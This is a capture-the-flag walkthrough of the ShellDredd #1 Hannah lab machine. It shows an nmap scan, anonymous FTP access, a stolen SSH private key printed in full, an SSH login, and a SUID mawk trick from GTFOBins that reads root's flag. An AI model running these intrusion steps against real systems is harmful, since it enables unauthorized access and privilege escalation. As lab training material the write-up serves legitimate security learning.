ShellDredd #1 Hannah

Target IP Address

192.168.1.108

Scanning and Enumeration

Nmap

> **nmap -A -p- -O -T5 -oN nmap.txt 192.168.1.108**
> Time for completion: 5.31 seconds

Nmap scan report for 192.168.1.108
Host is up (0.00049s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.1.6
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|*End of status*
61000/tcp *open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)*
| *ssh-hostkey:*
| *2048 59:2d:21:0c:2f:af:9d:5a:7b:3e:a4:27:aa:37:89:08 (RSA)*

| *256 59:26:da:44:3b:97:d2:30:b1:9b:9b:02:74:8b:87:58 (ECDSA)*
| 256 8e:ad:10:4f:e3:3e:65:28:40:cb:5b:bf:1d:24:7f:17 (ED25519)
MAC Address: 08:00:27:F8:A9:2B (Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 2.6.32 (96%), Linux 3.2 - 4.9 (96%), Linux 2.6.32 - 3.10 (96%), Linux 3.4 - 3.10 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Synology DiskStation Manager 5.2-5644 (94%), Netgear RAIDiator 4.2.28 (94%), Linux 2.6.32 - 2.6.35 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.49 ms 192.168.1.108

> ## FTP
>
> **Anonymous login is allowed**

```
Connected to 192.168.1.108.
220 (vsFTPd 3.0.3)
Name (192.168.1.108:m3rc): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    3 0        115          4096 Aug 06 16:56 .
drwxr-xr-x    3 0        115          4096 Aug 06 16:56 ..
drwxr-xr-x    2 0        0            4096 Aug 06 16:54 .hannah
226 Directory send OK.
ftp> cd .hannah
250 Directory successfully changed.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Aug 06 16:54 .
drwxr-xr-x    3 0        115          4096 Aug 06 16:56 ..
-rwxr-xr-x    1 0        0            1823 Aug 06 16:54 id_rsa
226 Directory send OK.
ftp> get id_rsa
local: id_rsa remote: id_rsa
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for id_rsa (1823 bytes).
226 Transfer complete.
1823 bytes received in 0.00 secs (11.1445 MB/s)
ftp>
```

- We received an id_rsa from the ftp

id_rsa

```
┌──[m3rc@parrot]─[~/Desktop/Machines/Hannah]
└─── $cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEA1+dMq5Furk3CdxomSts5UsflONuLrAhtWzxvzmDk/fwk9ZZJMYSr
/B76klXVvqrJrZaSPuFhpRiuNr6VybSTrHB3Db7cbJvNrYiovyOOI92fsQ4EDQ1tssS0WR
6iOBdS9dndBF17vOqtHgJIIJPGgCsGpVKXkkMZUbDZDMibs4A26oXjdhjNs74npBq8gqvX
Y4RltqCayDQ67g3tLw8Gpe556tIxt1OlfNWp3mgCxVLE1/FE9S6JP+LeJtF6ctnzMIfdmd
GtlWLJdFmA4Rek1VxEEOskzP/jW9LXn2ebrRd3yG6SEO6o9+uUzLUr3tv9eLSR63Lkh1jz
n5GAP3ogHwAAA8hHmUHbR5lB2wAAAAdzc2gtcnNhAAABAQDX50yrkW6uTcJ3GiZK2zlSx+
U424usCG1bPG/OYOT9/CT1lkkxhKv8HvqSVdW+qsmtlpI+4WGlGK42vpXJtJOscHcNvtxs
m82tiKi/I44j3Z+xDgQNDW2yxLRZHqI4F1L12d0EXXu86q0eAkggk8aAKwalUpeSQxlRsN
kMyJuzgDbqheN2GM2zviekGryCq9djhGW2oJrINDruDe0vDwal7nnq0jG3U6V81aneaALF
UsTX8UT1Lok/4t4m0Xpy2fMwh92Z0a2VYsl0WYDhF6TVXEQQ6yTM/+Nb0tefZ5utF3fIbp
IQ7qj365TMtSve2/14tJHrcuSHWPOfkYA/eiAfAAAAAwEAAQAAAQEAmGDIvfYgtahv7Xtp
Nz/OD1zBrQVWaI5yEAhxqKi+NXu14ha1hdtrPr/mfU1TVARZ3sf8Y6DSN6FZo42TTg7Cgt
vFStA/5e94lFd1MaG4ehu6z01jEos9twQZfSSfvRLJHHctBB2ubUD7+cgGe+eQG3lCcX//
Nd1hi0RTjDAxo9c342/cLR/h3NzU53u7UZJ0U3JLgorUVyonN79zy1VzawL47DocD4DoWC
g8UNdChGGIicgM26OSp28naYNA/5gEEqVGyoh6kyU35qSSLvdGErTMZxVhIfWMVK0hEJGK
yyR15GMmBzDG1PWUqzgbgsJdsHuicEr8CCpaqTEBGpa28QAAAIAoQ2RvULGSqDDu2Salj/
RrfUui6lVd+yo+X7yS8gP6lxsM9in0vUCR3rC/i4yG0WhxsK3GuzfMMdJ82Qc2mQKuc05S
I96Ra9lQolZTZ8orWNkVWrlXF5uiQrbUJ/N5Fld1nvShgYIqSjBKVoFjO5PH4c5aspX5iv
td/kdikaEKmAAAAIEA8tWZGNKyc+pUslJ3nuiPNZzAZMgSp8ZL65TXx+2D1XxR+OnP2Bcd
aHsRkeLw4Mu1JYtk1uLHuQ2OUPm1IZT8XtqmuLo1XMKOC5tAxsj0IpgGPoJf8/2xUqz9tK
LOJK7HN+iwdohkkde9njtfl5Jotq4I5SqKTtIBrtaEjjKZCwUAAACBAOOb6qhGECMwVKCK
9izhqkaCr5j8gtHYBLkHG1Dot3cS4kYvoJ4Xd6AmGnQvB1Bm2PAIA+LurbXpmEp9sQ9+m8
Yy9ZpuPiSXuNdUknlGY6kl+ZY46aes/P5pa34Zk1jWOXw68q86tOUus0A1Gbk1wkaWddye
HvHD9hkCPIq7Sc/TAAAADXJvb3RAT2ZmU2hlbGwBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
┌──[m3rc@parrot]─[~/Desktop/Machines/Hannah]
└─── $
```

- We can try logging in with the private key

> chmod 600 id_rsa
> ssh -i id_rsa hannah@192.168.1.108

> ## SSH

```
┌─[m3rc@parrot]─[~/Desktop/Machines/Hannah]
└──╼ $chmod 600 id_rsa
┌─[m3rc@parrot]─[~/Desktop/Machines/Hannah]
└──╼ $ssh -i id_rsa hannah@192.168.1.108 -p 61000
Linux ShellDredd 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Sep  5 09:20:42 2020 from 192.168.1.140
hannah@ShellDredd:~$
```

User Flag

```
hannah@ShellDredd:~$ ls -la
total 32
drwxr-xr-x 4 hannah hannah 4096 sep  5 11:37 .
drwxr-xr-x 3 root   root   4096 ago  6 16:35 ..
-rw------- 1 hannah hannah    0 sep  5 11:33 .bash_history
-rw-r--r-- 1 hannah hannah  220 ago  6 16:35 .bash_logout
-rw-r--r-- 1 hannah hannah 3526 ago  6 16:35 .bashrc
drwxr-xr-x 3 hannah hannah 4096 ago  6 17:11 .local
-rw-r--r-- 1 hannah hannah  807 ago  6 16:35 .profile
drwxr-xr-x 2 root   root   4096 ago  6 16:54 .ssh
-rw-r--r-- 1 hannah hannah   25 ago  6 17:11 user.txt
hannah@ShellDredd:~$ cat user.txt
Gr3mMhbCpuwxCZorqDL3ILPn
hannah@ShellDredd:~$
```

Privilege Escalation

- Checking what user "Hannah" can run as sudo

> sudo -l

```
hannah@ShellDredd:~$ sudo -l
-bash: sudo: orden no encontrada
hannah@ShellDredd:~$
```

- Sudo is not available
- Now looking for SUID

```
hannah@ShellDredd:~$ uname -r
4.19.0-10-amd64
hannah@ShellDredd:~$ find / -perm -4000 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/mawk
/usr/bin/chfn
/usr/bin/su
/usr/bin/chsh
/usr/bin/cpulimit
/usr/bin/mount
/usr/bin/passwd
hannah@ShellDredd:~$
```

- **mawk** is interesting
  from GTFObins, ->

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

```
LFILE=file_to_read
mawk '//' "$LFILE"
```

- mawk can be used to read files.

Root Flag

```
hannah@ShellDredd:~$ LFILE=/root/root.txt
hannah@ShellDredd:~$ mawk '//' "$LFILE"
yeZCB44MPH2KQwbssgTQ2Nof
hannah@ShellDredd:~$
```